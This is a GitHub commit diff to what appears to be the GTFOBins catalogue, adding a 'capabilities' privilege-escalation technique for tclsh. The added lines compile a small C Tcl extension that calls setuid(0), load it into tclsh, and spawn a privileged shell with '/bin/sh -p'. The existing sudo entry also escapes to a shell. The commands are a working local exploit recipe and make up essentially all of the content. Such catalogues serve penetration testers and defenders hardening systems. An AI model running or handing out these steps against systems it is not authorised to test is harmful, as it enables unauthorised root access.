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Add capabilities to tclsh.md

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Nikitin Timofey 2024-10-04 15:45:58 +03:00 committed by GitHub
parent 61314d55d0
commit 897f678133
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_gtfobins/tclsh.md
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@ -18,4 +18,11 @@ functions:
- code: | - code: |
sudo tclsh sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr exec /bin/sh <@stdin >@stdout 2>@stderr
capabilities
- code: |
echo -e '#include <tcl.h>\n#include <unistd.h>\nint SetUidCmd(ClientData, Tcl_Interp *interp, int, const char **) { return setuid(0) == -1 ? (Tcl_SetResult(interp, "Failed to set UID", TCL_STATIC), TCL_ERROR) : TCL_OK; } int Setuid_Init(Tcl_Interp *interp) { Tcl_CreateCommand(interp, "setuid", SetUidCmd, NULL, NULL); return TCL_OK; }' | gcc -shared -o setuid.so -fPIC -I/usr/include/tcl8.6 -ltcl -x c -
./tclsh
load ./setuid.so
setuid
exec /bin/sh -p <@stdin >@stdout 2>@stderr
--- ---